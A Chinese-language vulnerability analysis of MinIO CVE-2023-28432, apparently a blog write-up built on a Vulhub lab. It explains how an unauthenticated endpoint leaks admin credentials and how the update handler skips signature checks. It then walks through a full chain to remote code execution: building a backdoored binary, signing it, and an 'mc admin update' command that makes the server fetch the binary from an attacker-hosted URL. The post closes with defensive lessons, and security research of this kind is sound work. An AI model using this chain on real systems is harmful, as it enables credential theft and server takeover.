最近一直在看Go相关,对这个CVE比较感兴趣。
漏洞相关信息
https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
https://github.com/vulhub/vulhub/tree/master/minio/CVE-2023-28432
Impact
In a cluster deployment, MinIO returns all environment variables, including MINIO_SECRET_KEY
and MINIO_ROOT_PASSWORD
, resulting in information disclosure.
All users of distributed deployment are impacted. All users are advised to upgrade ASAP.
Vulhub环境
docker-compose.yaml,通过集群部署运行3个minio server,挂载卷,如果需要RCE要加上
- MINIO_UPDATE_MINISIGN_PUBKEY:
version: '3'
services:
node1:
image: vulhub/minio:2023-02-27T18-10-45Z
environment: # 自定义账号密码,官方docker自带MINIO_UPDATE_MINISIGN_PUBKEY需要清空
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- --console-address
- :9001
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
ports:
- 9000:9000
- 9001:9001
hostname: node1
volumes:
- ./mnt/data1:/mnt/data1
node2:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
hostname: node2
volumes:
- ./mnt/data2:/mnt/data2
node3:
image: vulhub/minio:2023-02-27T18-10-45Z
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin-vulhub
command:
- minio
- server
- http://node1:9000/mnt/data1
- http://node2:9000/mnt/data2
- http://node3:9000/mnt/data3
hostname: node3
volumes:
- ./mnt/data3:/mnt/data3
敏感信息泄露
这个漏洞整体比较简单,信息泄露的完整调用链
该路由没有鉴权,因此可以直接未授权访问,通过编译envs造成部分敏感信息(环境变量)泄露。
根据官方的启动说明,在MinIO在启动时会从环境变量中读取用户预设的管理员账号和密码,如果省略则默认账号密码为minioadmin/minioadmin。通过读取环境变量,泄露MINIO_ROOT_USER
和MINIO_ROOT_PASSWORD
字段,获取管理员账号密码。
访问http://127.0.0.1:9001/login
,输入获取的账号密码,成功登录后台
利用更新
mc客户端进行服务器管理
通过信息获取到管理员账号密码之后,可以通过官方自带的mc(MinIO客户端)工具进行服务器管理,官方客户端下载地址:
https://dl.min.io/client/mc/
在Windows环境下,首先通过mc连接远程的MinIO服务器(在linux环境下命令稍有变化,通过admin命令管理服务器):
mc alias set myminio http://127.0.0.1:9000 minioadmin minioadmin-vulhub
mc alias list
官网可以查阅所有能执行的命令,也可以通过自带help进行简单查询,包括这次的主角update
查阅官方文档,发现官方update提供了MIRROR_URL参数,通过配置该参数可以指定更新时下载MIRROR的订阅地址。如果能让minio下载恶意的二进制文件更新,则可以完成RCE。
更新二进制文件逻辑
观察更新逻辑,通过mc执行mc admin update
后,会向服务端发送POST请求/minio/admin/v3/update?updateURL={updateURL}
,调用ServerUpdateHandler
函数
// ServerUpdateHandler - POST /minio/admin/v3/update?updateURL={updateURL}
// ----------
// updates all minio servers and restarts them gracefully.
func (a adminAPIHandlers) ServerUpdateHandler(w http.ResponseWriter, r *http.Request)
检查是否是admin权限,这里需要信息泄露获取的admin账号
ctx := newContext(r, w, "ServerUpdate")
defer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))
objectAPI, _ := validateAdminReq(ctx, w, r, iampolicy.ServerUpdateAdminAction)
if objectAPI == nil {
return
}
从GET参数中获取变量updateURL,这里拿到的参数是mc执行update操作时拿到的变量
vars := mux.Vars(r)
updateURL := vars["updateURL"]
mode := getMinioMode()
if updateURL == "" {
updateURL = minioReleaseInfoURL
if runtime.GOOS == globalWindowsOSName {
updateURL = minioReleaseWindowsInfoURL
}
}
u, err := url.Parse(updateURL)
如果没有拿到updateURL,则取出默认的minioReleaseWindowsInfoURL
下载Release信息并解析出对应的更新信息,包括sha256Sum
content, err := downloadReleaseURL(u, updateTimeout, mode)
if err != nil {
writeErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)
return
}
sha256Sum, lrTime, releaseInfo, err := parseReleaseData(content)
指定更新二进制包文件的URL下载
// 指定二进制文件的下载路径
u.Path = path.Dir(u.Path) + SlashSeparator + releaseInfo
// 下载二进制文件
reader, err := downloadBinary(u, mode)
验证签名,如果签名无误,把二进制文件推送给其他容器,然后重启
// 验证签名
err = verifyBinary(u, sha256Sum, releaseInfo, mode, reader)
// 提交二进制文件
err = commitBinary()
// 发送重启信号给channel
globalServiceSignalCh <- serviceRestart
重点在验证签名过程,如果能绕过验证签名过程,就可以上传并更新恶意文件并完成更新
verifyBinary处理
verifyBinary
的具体逻辑在update.go文件中,重点是会去环境变量中拿MINIO_UPDATE_MINISIGN_PUBKEY
参数校验签名,该值为空时可以绕过完整性校验
minisignPubkey := env.Get(envMinisignPubKey, "")
if minisignPubkey != "" {
v := selfupdate.NewVerifier()
u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("signature loading failed for %v with %v", u, err),
StatusCode: http.StatusInternalServerError,
}
}
opts.Verifier = v
}
但是值得注意的是,使⽤官⽅Docker版本启动的minio将⽆法RCE,因为在Dockerfile中已经设定
了系统环境变量 MINIO_UPDATE_MINISIGN_PUBKEY ,这导致变量 envMinisignPubKey
⾮空,⽆法绕过完整性检查。
RCE
对minio进行二开,最简单的方式就是利用之前的未授权,在/minio/bootstarp/v1/verify
加一条命令执行后编译(如果要全局的话可以参考eval_minio项目,有现成的)。
根据上面update的流程,我们需要构造3个文件,即恶意的更新二进制文件、签名文件、sha256信息文件。
- 重新build魔改后的minio,按照minio版本管理的方式重命名。
go build .
mv minio minio.RELEASE.2023-04-07T05-28-58Z
- 通过minisign工具签名
minisign -G
minisign -Sm minio.RELEASE.2023-04-07T05-28-58Z
- sha256签名
shasum -a 256 minio.RELEASE.2023-04-07T05-28-58Z > minio.RELEASE.2023-04-07T05-28-58Z.sha256sum
构造完三个文件后,启动HTTP服务器
远程发起更新请求,发现服务器上的minio已经被更新成我们构造的恶意二进制文件!
mc admin update myminio http://192.168.100.102:8080/minio.RELEASE.2023-04-07T05-28-58Z.sha256sum
Something…
该RCE本质是利用无认证获取Portal管理员认证凭据,突破安全边界后结合云自更新功能实现无认证RCE。
- 无认证获取敏感数据,在云环境普遍Restful API下更为常见,黑盒测试发包所有接口+白盒无认证接口敏感数据接口梳理可以有效防止类似情况发生;
- 建议项:云服务镜像仓库不被外部控制;
- 文件签名的重要性:二进制文件包签名校验,这部分可以被MINIO_UPDATE_MINISIGN_PUBKEY控制,如果该值不为空不能RCE
这个漏洞分析已经比较成熟,AbelChe仓库已经写了非常详细的分析,佩服师傅钻研的精神;
参考
https://github.com/minio/minio
https://github.com/AbelChe/evil_minio